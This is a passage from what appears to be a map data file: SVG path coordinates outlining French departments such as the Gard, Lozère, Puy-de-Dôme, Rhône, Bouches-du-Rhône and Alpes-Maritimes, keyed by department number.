1.68,-4.93 0.92,-1.91 0.56,-5.47 2.78,-5.83 -0.12,-1.77 1.65,-6.61 3.22,-3.03 1.26,2.36 3.56,-0.59 3.31,-2.05 0.59,-1.14 0.92,-2.65 1.95,-1.09 1.6,-1 4.29,-1.63 3.3,-3.81 1.88,-0.88 -1.23,-1.49 -1.31,-2.37 -2.47,-0.36 0.7,-4.16 -1.68,-4.86 0.04,-1.43 3.56,1.01 2.84,-0.76 -3.52,-0.25 -3.97,-3.78 -3.79,-6.72 -2.86,-0.25 -0.48,-5.68 -3.84,-4.2 -1,0.06 -0.92,-1.73 -2.53,-0.75 -1.83,0.05 -2.03,-0.79 -0.71,-1.66 -1.98,-0.82 1.54,-2.18 -0.51,-2.67 -1.63,1.16 -2.03,4.92 -4.8,3.76 -3.45,-0.77 -2.59,-5.89 -6.01,-5.8 -1.98,-1.95 -3.93,0.16 -6.22,-0.38 -1.82,0.76 -1.98,-2.81 -2.23,-3.3 -2,0.21 -2.37,-1.95 -4.2,-1.04 -0.86,-1.4 -2.85,0.57 -2.19,-1.65 -0.21,-0.26 -0.61,-0.13 -0.87,-0.22 z","department-30":"m 402.45,438.56 c -1.2,2.08 -2.01,3.99 -4.41,4.18 -0.91,2.13 4,4.03 1.37,6.32 -0.45,1.86 3.55,2.45 0.94,3.7 -0.76,1.99 0.11,3.59 0.97,5.15 -2.84,-2.29 -3.24,4.22 -6.65,2.09 -2.84,1.31 -5.14,-3.82 -7.86,-2.71 -1.9,-0.09 0.68,4.12 -2.36,3.87 -3.59,-0.21 -7.54,0.01 -9.81,-3.3 -3.88,-0.94 -1.76,4.82 -5.2,4.63 -0.2,1.99 1.7,1.26 2.49,1.37 0.64,2.2 6.26,1.35 5.12,4.79 -0.92,1.9 -5.78,3.67 -3.13,5.83 2.48,-0.75 3.13,1.64 2.84,3.17 1.93,-1.62 4.32,-2.9 4.52,0.69 1.23,0.34 3.7,1.07 1.85,-0.84 1.05,-1.8 2.07,-3.7 4.36,-3.11 -0.01,-3.76 5,-4.67 6.38,-1.85 2.32,1.17 -2.54,5.3 1.82,4.76 1.89,-0.76 3.45,-1.45 3.7,1.02 2.53,0.02 1.7,2.08 1.81,3.51 2.89,-1.55 4.4,2.61 6.33,3.87 2.8,0.69 3.15,4.82 3.78,7.11 -0.67,2.22 -2.4,3.52 -4.18,3.93 1.03,2.15 2.04,4.41 2.86,6.75 1.85,2.05 3.54,0.51 3.74,-1.66 2.08,-0.46 3.52,-1.72 3.36,-3.55 0.97,2.31 4.15,-0.86 5.01,-1.94 1.98,0.27 2.78,-2.49 0.23,-2.01 -0.41,-2.17 1.81,-4.53 3.24,-5.76 1.92,-1.29 6.52,3.05 5.01,-1.07 0.59,-2.7 2.29,-5.32 1.74,-7.95 1.25,-0.84 -1.73,-1.91 0.74,-2.53 2.32,-1.47 3.71,-3.79 6.04,-5.21 0.4,-1.57 0.8,-2.1 2,-2.68 -1.38,-1.85 -2.67,-6.36 -5.46,-5.62 -1.54,-2.69 0.63,-6.1 -0.98,-8.69 -2.44,0.11 -1.5,-4.81 -4.22,-4.74 -2.14,-0.69 -5.48,-5.75 -7.17,-2.57 0.92,4.08 -4.49,2.27 -2.46,-0.85 -1.91,-1.19 -5.21,1.01 -5.19,3.34 -1.4,3.16 -4.03,-1.21 -5.4,-1.88 -1.7,0.52 -1.47,-2.53 -3.73,-1.05 -1.71,1.8 -2.68,-0.11 -1.46,-1.57 -0.15,-1.56 -0.74,-2.62 0.35,-3.62 -1.57,-1 -0.67,-2.78 -2.91,-3.32 z","department-48":"m 373.48,404.94 c -1.47,0.89 -3.46,3.53 -5.12,1.98 -0.01,1.49 -1.57,1.93 -1.04,3.5 -1.43,1.81 -3.11,1.2 -3.88,-0.85 -2.88,-0.45 -1.07,4.27 -3.39,4.9 -1.4,1.6 -1.16,4.02 -1.76,5.9 0.45,1.49 -1.64,2.13 -1.6,3.92 -1.61,2.48 1.66,4.55 3.09,6.26 2.11,1.84 -1.38,5.67 2.08,6.72 1.92,1.77 1.3,4.27 0.7,6.32 -0.81,2.08 2.13,3.68 0.68,5.63 -1.2,1 -0.69,2.92 0.49,1.55 -0.34,2.49 4.49,1.53 3.22,4.04 -0.61,3.08 3.16,-0.47 4.71,0.57 2.33,-0.24 2.39,2.9 4.55,3.55 1.02,2.18 4.4,1.65 6.21,1.9 1.73,0.64 4.49,-0.1 3.28,-2.39 -0.17,-1.71 2.49,-2.35 3.14,-0.7 2.15,-0.14 3.4,3.16 5.36,2.3 1.4,-0.48 2.81,0.78 3.7,-1.01 1.48,-0.27 0.79,-2.83 2.56,-1.71 0.48,-1.13 -1.37,-1.78 -0.45,-3.23 -0.32,-1.45 2.55,-2.77 -0.12,-3.02 -0.49,-1.4 -1.27,-2.69 0.33,-3.79 -0.9,-1.25 -2.65,-3.18 -2.62,-4.42 1.46,-1.07 3.7,-0.89 3.95,-3.34 1.21,-1.8 0.03,-4.2 -0.54,-6.13 -0.14,-2.55 -3.1,-2.32 -3.01,-4.96 -0.51,-1.42 -0.74,-3.3 -1.23,-4.8 0.21,-0.99 -1.02,-2.2 -0.2,-3.43 -0.96,-0.75 -2.32,-0.83 -1.55,-2.36 -1.84,1.16 -1.86,-1.71 -3.45,-2.23 0.02,-3.18 -3.5,-0.79 -4.63,-2.01 2.18,-2.04 -3.67,-4.45 -2.82,-1.23 0.29,3.23 -3.33,0.7 -4.65,2.81 -2.12,0.38 -2.38,-3.83 -3.37,-5.42 -0.69,-1.57 0.03,-3.98 -2.15,-4.28 l -0.25,-0.51 -0.23,-0.01 -2.2e-4,-1e-4 z","department-63":"m 350.25,319.87 c -2.41,0.1 -1.39,6.08 -4.36,2.69 -2.2,-1.55 -1.13,2.91 -3.36,2.6 -0.99,2.15 -2.4,5.06 -4.99,2.48 -3.53,1.71 0.74,5.9 1.02,8.31 0.33,2.26 -0.13,3.09 -1.85,4.34 -0.59,3.07 -2.87,5.1 -5.46,5.93 -0.78,1.08 -3.3,2.29 -0.7,4.14 1.84,2.94 6.68,6.33 3.76,10.01 -3.59,1.58 -0.37,5.2 0.63,7.47 -1.63,3.1 2.57,5.33 4.8,4.69 1.04,1.88 3.32,0.49 2.64,2.92 1.95,3.55 6.09,-0.43 8.67,2.01 3.48,0.74 2.44,6.76 6.82,5.67 2.39,-1.04 2.55,-4.68 5.97,-4.03 2.84,-0.11 5.33,-4.21 7.45,-3.45 1.17,-0.15 2.17,-1.54 3.06,0.31 2.88,1.39 5.17,-2.92 7.03,0.16 3.24,-0.64 2.05,6.51 5.21,2.85 1.13,-3.37 5.41,3.07 6.68,-1.35 0.83,-2.19 5.07,4.34 4.28,-0.59 0.72,-2.92 5.73,-4.1 3.45,-7.91 -0.98,-3.57 -2.63,-6.42 -6.17,-8.13 -2.69,-2.1 -1.82,-6.45 -4.74,-8.34 -0.45,-1.7 -2.19,-2.8 -0.35,-4.4 -0.69,-2.91 2.62,-4.84 -0.62,-6.96 -2.59,-1.57 -3.98,-4.12 -5.91,-6.12 -2.16,0.37 -6.24,1.62 -5.45,-1.98 -1.98,-2.68 -5.33,1.55 -7.73,-0.76 -2.66,-0.65 -5.11,0.01 -7.56,-0.72 -1.51,-1.52 -2.18,-2.56 -4.49,-2.07 -3.09,-0.49 -3.15,-3.91 -5.15,-5.29 0.27,-2.13 2.01,-5.11 -1.71,-4.35 l -0.47,-0.05 -0.43,-0.12 0,0 z","department-42":"m 397.37,318.49 c -1.6,0.83 -3.4,1.29 -4.64,2.21 -1.3,0.59 1.02,2.59 0.48,3.98 0.61,1.85 -0.41,4.23 1.11,6.23 -1.61,2.5 2.37,7.25 -2.15,7.3 -1.09,-0.11 -1.49,1.09 -2.88,0.34 -2.32,2.56 2.22,3.36 1.74,5.81 -1.98,1.61 -0.24,4.65 -2.31,6.15 1.69,0.49 1.3,2.13 2.33,2.91 2.23,1.34 1.14,4.92 3.25,6.83 1.78,1.97 5.01,2.91 6.17,5.68 -1.24,2.45 2.85,3.93 0.67,5.95 0.89,3.06 -5.47,3.2 -3.23,7.04 0.42,3.41 2.25,-3.4 4.17,-0.43 0.87,1.44 1.19,2.02 2.38,0.77 1.23,1.18 1.39,0.75 2.25,-0.33 1.05,-0.89 3.38,0.13 2.65,-1.8 2.25,-0.56 4.93,-0.17 6.2,1.72 1.74,-1.96 5.45,1.48 2.47,2.65 0.55,1.23 1.98,1.3 0.84,2.91 0.86,2.54 3.62,-1.67 4.48,1.3 1.58,2.36 4.9,0.89 6.79,-0.08 -1.25,-1.91 1.2,-3.4 2.26,-5.02 1.49,-1.32 5.89,-1.48 4.47,-4.32 -0.52,-1.74 0.97,-3.48 -0.58,-5.25 -0.48,-1.69 -3.61,1.7 -3.93,-1.3 0.42,-2.1 -0.24,-3.68 -1.93,-4.86 -1.43,0.06 -2.67,-1.02 -4.29,-0.14 -2.32,-0.62 -2.91,-2.86 -5.1,-4.24 -1.42,-1.8 -2.51,-3.8 -0.78,-6.03 1.82,-2.31 -3.43,-0.74 -1.14,-3.43 0.94,-1.31 1.04,-3.98 1.15,-5.42 -2.5,-0.01 -3.12,-2.67 -2.32,-4.33 -1.63,-1.26 -2.43,-3.07 -4.07,-4.21 0.9,-0.54 3.97,0.36 2.35,-1.72 -1.31,0.09 -3.3,-2.79 -0.85,-2.47 1.97,-1.74 0.65,-5.53 4.11,-6 0.97,-0.45 2.45,1.37 2.78,-0.77 -0.25,-1.57 -2.38,-2.12 -0.65,-3.5 -1.51,-1.51 -2.16,1.22 -2.41,1.83 -1.97,-0.74 -4.16,3.26 -5.16,1 1.12,-2.05 -1.54,-0.14 -2.23,-1.49 -1.1,1.9 -3.25,0.89 -4.63,-0.3 -2.08,0.61 -5.43,3.53 -6.14,-0.27 -1.61,-0.39 -4.74,-0.44 -2.93,-2.93 0.29,-0.63 0.34,-2.13 -0.72,-1.99 z","department-69":"m 433.73,316.51 c -1.23,0.46 -2.5,0.15 -2.78,2.07 -0.74,1.45 -2.37,-0.51 -2.67,-1.28 -0.69,1.49 -2.76,2.38 -3.71,0.45 -1.68,-1.33 -4.39,-0.82 -4.01,1.84 -0.71,1.65 0.63,2.41 1.38,3.48 -2.55,0.77 0.51,1.73 0.61,2.71 -0.41,1.66 -1.38,2.06 -2.7,1.09 -2.04,0.63 -3.43,2.17 -3.25,4.46 0.34,2.11 -3.89,1.45 -1.52,3.28 0.64,0.85 2.57,0.6 1.5,2.34 -0.59,0.49 -3.83,-0.49 -1.93,0.9 1.83,0.38 1.7,2.77 3.5,3.41 0.3,1.24 -1.23,2.13 0.17,3.34 0.85,1.23 3.47,0.4 1.96,2.6 -0.03,1.87 -0.27,3.49 -1.48,4.83 0.06,1.49 3.29,0.29 1.61,2.31 -1.06,1.85 -1.32,4.02 0.45,5.41 1.27,1.35 2.68,3.31 4.18,4.13 1.51,1.5 3.36,-0.41 4.88,1.05 1.7,-0.73 1.49,2.06 2.91,2.19 -1.19,1.71 0.21,5.2 2.42,3.21 1.24,-1.16 2.04,4.15 2.96,1.45 1.23,-1.41 3.83,-2.33 3.98,-4.32 -1.76,-0.7 -2.47,-2.54 -4.09,-3.51 1.84,-0.94 3.53,1.28 4.58,-0.77 1.51,-1.17 4.45,-0.14 5.27,-1.51 0.95,-0.25 2.74,0.97 2.03,-1.03 1.24,-1.85 2.79,-4.63 5.26,-4.54 0.24,-2.22 -3.33,-1.77 -3.23,-3.97 -1.59,-0.5 -1.14,-2.19 0.43,-1.77 0.7,-2.69 -4,-0.18 -5.55,-0.99 -1.61,0.21 -2.66,0.21 -2.4,-1.73 -0.63,-1.95 -1.32,-4.61 -3.64,-4.95 -0.96,0.68 -1.86,1.05 -1.38,-0.57 -0.83,-1.37 -2.55,-0.91 -3.49,-1.92 2.14,-2.03 -0.39,-5.26 0.95,-7.43 1.04,-0.99 -1.1,-2.32 0.59,-3.24 1.49,-1.45 2.32,-4.9 -0.84,-4.45 -2.61,-1.01 0.89,-5.07 -2.78,-5.24 -1.21,-1.33 2.19,-1.14 0.43,-2.68 -0.12,-0.26 -0.3,-0.58 -0.61,-0.66 z","department-43":"m 379.31,374.73 c -1.62,2.39 -4.9,1.8 -6.71,0.33 -0.7,1.72 -0.87,1.21 -1.91,0.1 -0.8,1.98 -3.58,1.56 -4.38,3.23 -1.25,1.09 -2.57,1.35 -4.33,1.17 0.74,1.5 -1.58,1.78 -0.04,2.79 -2.08,1.77 1.79,1.15 2.36,1.2 -0.13,1.97 3.13,-0.54 2.89,1.98 -0.29,1.8 0.97,2.96 2.14,3.73 -0.86,2.28 -0.05,5.34 2.48,5.9 2.93,0.43 -0.37,2.07 -1.36,0.74 -1.49,0.56 1.82,1.51 0.26,2.94 -1.01,2.64 2.59,2.31 2.97,4.1 -2.04,1.24 0.26,1.73 1.03,2.74 1.8,0.69 0.7,3.92 2.11,5.44 0.56,1.74 1.53,5.67 3.68,3.09 2.13,0.18 4,-0.58 3.52,-3.06 1.72,-1.57 4.47,0.99 3.25,2.73 2.03,-0.35 4.24,-0.91 4.56,1.81 1.6,0.42 1.42,3.2 3.32,1.95 -0.31,0.86 -0.01,2.7 1.4,1.48 3.08,-0.04 2.22,-4.19 4.35,-5.07 0.8,1.72 0.74,-0.65 2.16,-0.3 0.91,-0.43 0.22,-3.47 2.51,-2.52 2.14,-0.66 5.33,0.63 5.55,-2.64 1.54,-1.36 1.15,-4.48 3.81,-3.54 1.57,0.05 2.24,-1.12 0.99,-2.15 -1.14,-2.94 5.69,-1.67 3.23,-3.83 -1.6,-1.11 -0.01,-3.44 1.47,-3.61 -1.01,-0.84 -1.65,-2.84 0.52,-2.06 0.75,0.25 1.93,2.57 1.79,0.63 -0.57,-2.5 2.93,-4.77 1.26,-7.19 -1.2,-1.98 -2.64,-2.48 -4.48,-1.26 -2.08,-0.82 0.53,-3 -1.95,-3.68 1.6,-1.09 1.44,-3.36 -0.89,-3.47 -2.17,2.19 -2.9,-2.58 -5.24,-0.98 -1.45,-1.18 -2.23,0.2 -2.36,1.14 -1.72,-0.24 -2.79,0.8 -3.72,1.87 -0.74,-1.86 -1.9,-0.59 -2.28,0.4 -0.52,-2.16 -2.78,-4.05 -4.23,-1.53 -0.3,1.52 -1.03,1.38 -1.49,0.05 -2.13,0.67 -3.37,-3.95 -4.67,-1.3 0.12,2.86 -4.25,0.82 -5.13,-0.4 -0.84,1.48 -2.99,4.23 -4.08,1.09 -0.06,-2.97 -3.34,-1.73 -4.39,-4.01 z","department-07":"m 436.62,378.68 c -2.11,1.19 -5.05,1.82 -5.73,4.31 -0.61,0.74 -1.7,1.47 -0.63,2.83 -1.48,1.55 -5.39,0.21 -5.65,3.05 -0.4,2.17 -2.13,4.1 -1.51,6.11 -0.82,1.35 -2.2,-3.55 -3.34,-0.83 2.87,1.6 -1.37,1.64 -1.06,3.7 -0.07,1.01 2.58,2.11 0.3,2.78 -2.43,-0.04 -3.73,1.92 -2.22,3.92 -1.62,1.35 -4.39,-0.37 -4.36,2.53 -1.51,1.8 -1.89,5.12 -5.04,3.9 -1.64,0.68 -4.72,-0.35 -3.54,2.75 -1.69,0.44 -2.07,1.93 -3.57,0.7 -0.65,2.39 -1.67,4.38 -3.7,5.18 0.05,1.23 -0.23,2.66 0.56,3.58 -0.09,2.42 0.91,5.06 1.8,7.31 3.3,1.24 2.04,5.97 4.07,8.24 1.96,0.49 1.37,2.56 2.59,3.64 -1.74,0.94 0.2,3.57 -1,5.13 1.45,0.08 4.13,-2.2 4.71,0.49 2.27,-0.88 3.84,4.84 5.98,2.4 0.11,-2.69 3.06,-5.02 5.54,-4.01 -0.84,1.71 0.49,4.93 2.22,2.69 -1.12,-4.19 4.37,-2.87 5.2,-0.35 2.07,1.28 5.06,2.67 3.99,-1.18 -0.44,-2.49 0.5,-4.84 0.92,-7.23 2.57,-1.67 0.05,-4.72 1.41,-6.94 -1.34,-2.75 2.73,-3.36 2.63,-6.07 2.5,-3.08 -0.98,-6.81 0.47,-10.07 2,-1.59 2.83,-4.11 4.16,-6.22 -0.81,-2.28 2.55,-4.4 -0.11,-6.44 -1.37,-1.98 -0.41,-4.12 -0.17,-5.92 -1.82,-0.69 -0.96,-3.19 -2.25,-4.49 1.8,-2.26 -0.83,-5.08 0.05,-7.93 1.49,-3.08 -3.02,-4.17 -1.77,-7.12 l -0.36,-0.33 -0.59,-0.1 0,0 z","department-26":"m 448.07,380.12 c -2.89,1.17 -5.09,3.5 -8.19,2.69 -0.39,2.66 -1.05,6.79 0.49,9.42 -1.96,1.97 0.32,3.64 0.34,5.76 2.35,1.37 -0.99,4.81 1.33,6.93 2.06,2.38 -0.62,5.13 -0.81,7.77 -1.22,2.58 -4.32,4.41 -3.69,7.71 1.66,3.46 0.06,6.59 -1.3,9.7 -3.02,0.93 -0.83,4.24 -2.03,6.3 0.95,3.33 -2.55,6.12 -1.92,9.81 1.2,3.03 7.51,-0.99 7.1,4.18 0.14,2.04 0.67,4.67 2.58,1.79 2.97,-0.92 6.04,-2.27 9.06,-3.52 1.12,3.67 4.14,-0.81 5.13,-0.14 -0.85,1.68 -0.59,3.54 -0.5,5.19 1.36,1.14 3.35,1.14 4.16,-0.1 1.72,1.86 4.28,0.89 5.95,1.95 0.03,1.94 0.09,3.52 2.41,3.44 1.06,4.04 4.77,0.96 6.47,-0.43 -1.58,-2.47 1.9,-2.75 3,-1.1 1.64,-1.37 2.06,-2.86 1.41,-5.21 1.53,-2.36 -2.87,-0.24 -1.73,-2.96 -1.59,-0.67 -0.77,-1.18 -0.59,-2.32 -2.51,0.48 -4.35,-1.04 -6.35,-0.89 -1.23,-1.45 -2.87,-1.53 -2.12,-3.69 -1.62,-1.67 -0.01,-2.82 1.69,-1.61 2.12,-0.83 -1.87,-1.85 -0.65,-3.64 -0.28,-2.93 4.33,0.48 6.05,0.59 1.73,0.39 1.15,-2.66 3.01,-2.35 -1.71,-1.67 -3.84,-2.97 -1.6,-5.43 1.79,-1.45 -0.55,-5.71 2.99,-3.98 1.94,0.82 3.33,-0.86 4.9,-1.06 1.29,-0.88 2.08,-3.19 -0.35,-2.44 -2.24,0.57 -3.91,-2.09 -6.41,-1.58 -1.16,-1.43 -2.84,-3.52 -4.34,-3.81 0.14,1.78 -6.09,-0.53 -3.44,-2.33 -1.37,-2.79 0.85,-6.84 0.11,-10.1 0.96,-2.47 -1.42,-5.35 0.09,-7.37 -2.07,0.93 -4.59,4.84 -6.88,1.6 -1.84,0.62 -4.04,-0.31 -5.88,-1.61 -1.29,0.02 -2.1,2.02 -3.13,0.34 2.95,-1.62 2.73,-5.57 1.54,-8.29 2.1,-1.71 -0.25,-3.63 -2.12,-2.9 0.27,-1.74 0.99,-4.37 -1.59,-2.47 -1.31,0.06 -1.04,-2.86 -3.02,-2.37 -0.42,-0.45 -0.36,-1.52 -1.19,-1.46 z m -1.27,60.35 c 2.68,0.18 1.93,3.2 4.79,3.14 -1.88,1.51 -2.98,3.63 -4.06,5.91 -1.76,-1.35 -5.66,0.15 -4.33,-3.15 -1.66,-0.66 1.47,-2.81 1.37,-4.36 0.67,-0.62 1.73,-0.72 2.23,-1.54 z","department-84":"m 446.86,440.69 c -1.95,0.68 -2.59,2.23 -3.24,3.95 -1.54,1.08 0.24,1.84 -0.38,3.25 0.79,1.16 2.95,0.74 4.3,1.12 1.33,-1.76 1.41,-4.26 3.76,-4.92 -0.23,-0.92 -2.69,-0.73 -2.57,-2.42 -0.66,-0.27 -1.12,-0.97 -1.86,-0.99 z m -10.7,6.69 c -1.75,0.63 -4.36,-0.72 -3.75,2.23 -0.47,1.96 1.22,3.5 1.32,5.13 2.22,-0.26 1.8,3.29 1.6,4.89 -0.71,1.78 -0.16,4.41 1.97,3.57 1.39,1.79 2.8,3.83 3.94,5.76 0.11,1.52 -2.28,0.28 -1.54,2.26 -0.27,1.54 -4.74,2.54 -1.78,2.92 1.98,0.36 4.26,0.33 5.81,1.82 2.69,0.61 4.43,2.7 6.08,4.74 0.55,2.14 2.45,3.17 4.31,4.09 2.3,2.43 5.12,0.03 7.83,1.23 2.38,1.21 4.48,2.96 6.96,4.03 2.69,1.26 6.11,1.9 8.79,0.34 1.35,-1.61 3.7,-0.97 4.73,-3.09 0.97,-1.51 -1.94,-2.24 -1.96,-3.86 -1.56,-1.86 -3.42,-4.41 -6.24,-2.8 -2.07,0.95 -0.48,-2.95 0.61,-3.43 0.51,-1.33 1.55,-2.66 -0.1,-3.23 -0.29,-2.08 -4.3,-0.54 -3.06,-3.3 0.45,-2.01 1.86,-3.87 1.45,-6.01 -1.1,0.12 -2.63,0.07 -2.14,-1.74 0.53,-2.35 -2.66,-1.28 -2.71,-3.51 -1.05,-0.88 -3.35,-0.4 -2.48,-2.73 -0.01,-3.12 -4.03,-0.26 -5.3,-2.66 -1.51,-1.06 -0.98,1.74 -2.66,0.68 -2.01,-0.15 -3.06,-1.35 -2.27,-3.12 -1.69,-0.64 1.81,-3.73 -0.28,-2.95 -1.07,2.14 -3.56,1.91 -4.6,0.21 -2.41,0.78 -4.55,2.65 -7.11,2.79 -1.53,-0.33 -4,4.19 -3.94,0.55 -0.37,-2.16 -0.51,-5.06 -3.51,-4.81 z","department-13":"m 436.6,474.08 c -0.74,1.85 -4.74,2.73 -4.06,4.51 1.26,0.66 -1.41,1.72 -0.12,3.06 0.08,2.7 -2.74,5.11 -1.37,7.86 -2.28,-0.28 -6.4,-2.34 -7.04,1.21 -2.02,1.17 -2.34,4.33 0.25,4.07 -0.26,2.18 -2.99,1.15 -3.24,3.2 -2.53,0.88 -3.65,1.48 -5.33,3.13 -3.12,0.45 -3.32,4.69 0.25,3.69 2.78,0.47 5.55,1.05 8.35,0.35 2.37,-0.45 7.29,1.42 4.55,4.28 -0.6,3.55 5.03,2.05 7.33,2.58 1.71,0.43 5.71,0.01 2.7,-2.11 -3.88,-1.35 -2.85,-5.16 -3.05,-8.31 -0.04,-1.21 -2.55,-5.59 -0.42,-2.89 1.89,2.36 1,5.34 0.95,8.05 0.88,2.13 3.62,3.05 5.46,4.22 1.53,-0.81 -2.25,-2.45 0.5,-3.11 1.91,-1.46 4.03,-0.52 5.49,0.58 3.35,0.39 4.55,-4.15 1.3,-5.2 -0.68,-1.48 -0.16,-6.09 1.79,-3.06 2.23,-0.56 2.91,0.56 2.79,2.29 1.26,2.1 3.09,1.09 4.71,0.38 1.06,3.09 -3.48,5.94 -6.44,5.14 -4.78,-0.48 -3.49,6.19 0.68,5.18 2.9,-0.06 6.07,0.58 8.6,-1.26 3.09,-1.75 3.91,2.83 3.27,4.72 2.03,1.28 -2.35,4.61 1.58,4.55 2.59,-0.26 5.17,0.78 7.33,0.32 0.97,2.95 3.72,1.97 5.67,1.14 -0.33,-3.01 1.95,-4.41 4.07,-5.87 -0.58,-2.14 -2.28,-2.58 -3.96,-3.03 2.56,-1.22 -1.49,-6.49 2.6,-5.65 1.54,0.73 3.39,-0.95 1.08,-1.75 -1.32,-1.96 -3.23,-3.39 -1.84,-5.73 2.26,-2.81 -4.73,-2.76 -1.41,-4.42 -0.82,-3.37 2.37,-4.88 5.13,-5.19 1.46,-1.69 -2.03,-5.66 -3.21,-2.42 -1.87,0.81 -3.79,1.87 -5.79,2.74 -4.96,0.73 -9.29,-2.44 -13.26,-4.94 -3.21,-1.31 -6.53,0.84 -9.27,-1.96 -2.79,-0.81 -2.96,-3.66 -4.98,-5.35 -1.7,-2.34 -4.64,-3.03 -7.08,-4.31 -1.52,-0.14 -3,-0.57 -4.52,-0.71 z","department-83":"m 517.2,482.16 c -2.21,0.45 -4.51,0.15 -4.56,3.03 -1.71,2.89 -5.34,-0.75 -6.7,-2.47 -3.07,-2.54 -3.41,4.73 -6.6,3.29 -1.58,1.5 -2.96,3.5 -4.46,4.67 -1.25,-1.47 -1.71,-3.25 -3.55,-3.95 0.03,-1.86 -1.87,-1.86 -1.91,-0.09 -1.33,1.02 -2.66,0.95 -3.16,-0.75 -1.91,-1.9 -4.18,0.89 -2.09,2.04 0.53,1.23 1.97,1.94 0.53,3.38 -2.84,-0.21 -5.92,2 -4.84,5.1 -3.44,1.27 3.35,1.25 1.35,3.57 -0.22,1.94 -1.24,3.31 0.74,4.69 0.22,1.73 4.1,2.93 0.81,3.75 -2.63,-1.28 -3.72,1.11 -2.27,3.16 -1.33,1.63 -0.65,2.88 1.29,2.7 1.09,1.33 2.34,3.31 -0.22,3.83 -2.89,1.3 -2.33,4.54 -1.48,6.82 1.05,1.11 2.71,1.01 3.71,1.52 -0.45,1.28 3.17,1.21 0.61,2.02 -2.2,1.64 1.53,2.03 2.31,3.24 1.87,0.49 2.01,-2.69 4.02,-1.64 0.25,-1.17 -3.62,-2.32 -0.77,-2.94 1.5,-0.75 1.25,1.72 3.11,0.9 1.98,-0.44 2.88,1.82 4.97,0.72 2.49,0.17 1.79,3.18 -0.25,3.1 1.03,0.17 3.75,1.02 4.22,-0.22 -1.87,-1.01 -0.43,-5.47 2.18,-4.51 2.27,-1.02 4.3,0.74 5.47,2.2 2.95,0.7 -0.7,-3.95 2.56,-4.14 1.82,-1.17 4.32,-0.11 5.81,-1.82 1.19,-1.87 3.53,-0.69 3.91,0.87 1.83,-0.26 1.02,-2.97 3.25,-2.97 -1.94,-1.52 0.52,-2.56 0.71,-4.09 -0.88,-1.35 -6.14,0.84 -4.2,-1.29 1.98,-0.49 3.13,-1.3 3.41,-3.27 3.09,-0.38 1.58,-4.33 3.42,-5.76 2.02,1.51 4.49,0.53 6.29,-0.38 1.97,-1.45 2.07,-3.69 -0.21,-4.86 0.39,-1.48 -0.82,-2.76 0.73,-4.13 0.32,-1.33 0.43,-3.31 -1.68,-2.51 -2.08,-0.91 -4.86,-2.77 -4.6,-5.2 1.21,-2.45 -1.26,-3.59 -2.82,-4.44 -1.3,-0.4 -2.5,0.43 -2.84,-1.45 -0.36,-2.95 -3.06,-1.75 -4.46,-0.37 0.04,-0.84 -0.83,-2.43 -1.72,-1.38 z","department-06":"m 534.65,445.17 c -2.26,1.07 -5.06,2.58 -4.36,5.66 -3,-0.21 -3.04,3.43 -4.06,5.54 -1.08,2.46 0.95,4.86 2.25,6.92 -1.14,3.22 2.36,4.62 4.05,6.69 0.63,2.61 3.53,3.37 4.77,5.63 -2.57,2.29 -4.92,-3.17 -6.86,-0.03 -0.74,2.32 -3.13,1.4 -4.56,1.36 1.15,1.61 -2.67,2.88 0.34,3.69 1.19,1.89 -4.95,1.17 -2.32,3.78 0.53,1.35 2.49,-0.04 3.3,1.63 2.89,-0.16 1.89,3.58 2.03,5.2 1.45,1.97 3.65,3.89 6.12,3.69 1.22,2.02 -1.58,4.04 -0.48,6.02 -0.26,2.6 3.76,2.43 2.74,-0.52 1.75,-2.03 4.78,-1.82 7.05,-2.83 2.15,2.34 0.79,-2.94 1.42,-4.1 0.35,-2.64 3.85,-1.42 4.44,-3.92 1.43,-0.64 4.04,-1.22 4.41,0.38 0.69,-1.18 0.32,-2.51 2.45,-2.28 -0.13,-1.76 1.58,-4.07 3.07,-2.16 1.7,0.06 1.19,-2.66 3.34,-2.27 -0.27,-2.4 -3,-5.81 0.3,-7.3 1.54,-1.45 0.99,-4.2 3.51,-4.76 2.78,-1.39 1.89,-4.43 4.17,-6.12 1.59,-2.77 -3.27,-4.24 -1.5,-7.3 -1.21,-2.71 -2.61,1.55 -4.47,0.73 -2.22,0.84 -4.68,1.32 -6.76,2.38 -2.04,0.2 -3.62,-0.51 -4.81,-1.86 -2.43,0.52 -3.44,-1.96 -5.53,-2.49 -1.15,-2.34 -3.58,-0.83 -4.96,-2.82 -1.54,-1.59 -4.78,0.61 -4.95,-2.66 -1.4,-1.9 -2.37,-3.95 -3.93,-5.85 l -0.23,-0.02 -1.8e-4,10e-5 z","department-04":"m 536.03,425.47 c -1.91,1.96 -3.88,3.46 -6.49,4.44 -1.02,2.88 -4.75,3.12 -5.32,6.34 -1.11,1.83 -1.21,3.9 -4.02,3.07 -3.01,-0.06 -6.66,-0.3 -8.11,-3.08 -0.64,-1.8 -3.43,-1.98 -2.19,0.22 -0.26,3.25 -2.7,-0.14 -4.23,1.68 -1.44,0.61 2.06,5.8 -1.43,5.09 -2.1,-2.16 -2.71,-5.63 -6.09,-5.69 -0.87,3.33 -6.54,3.63 -7.12,7.81 -0.96,1.13 -2.01,2.66 -0.4,3.1 -0.61,1.4 0.72,5.52 -1.66,2.94 -0.44,-1.65 -2.49,-3.59 -2.83,-0.6 1.02,1.86 2.62,3.82 3.95,5.12 -2.91,0.83 -6.3,-2.29 -9.28,0.12 -0.78,0.38 -3.94,0.37 -2.37,1.8 0.52,0.59 -1.17,0.62 -1.27,-0.25 -1.21,-2.36 -3.58,-0.6 -2.43,1.22 -2.05,0.82 -5.12,3.55 -2.92,5.69 3.34,-0.23 0.15,4.71 -0.09,6.55 -0.21,2.32 3.26,0.85 3.55,3.17 2.24,1.52 -3.59,5.18 -1.33,6.48 2.81,-2.13 5.06,0.73 6.7,2.59 0.57,1.46 2.26,4.38 3.61,1.7 2.13,0.13 4.41,4.24 5.38,0.42 1.94,-1.62 1.55,2.48 3.59,2.29 0.43,1.7 2.31,4.04 2.93,1.23 2.03,-0.76 2.24,-3.96 4.52,-2.9 1.73,-1.32 3.93,-6.5 5.92,-2.58 1.76,2.61 6.67,4.01 6.46,-0.53 1.66,-0.48 3.88,-1.21 5.41,-0.9 0.99,2.9 3.19,-2.27 4.59,0.48 1.62,-0.3 5.25,-1.56 1.66,-2.44 0.5,-1.52 2.15,-2.44 0.07,-3.65 2.45,0.82 5.17,0.99 6.43,-1.88 1.98,-0.91 4.27,3.34 5.6,0.53 -2.39,-1.94 -3.94,-3.66 -5.54,-6.13 -1.97,-1.55 -3.7,-3.16 -3.01,-5.85 -1.63,-2.1 -3.46,-4.86 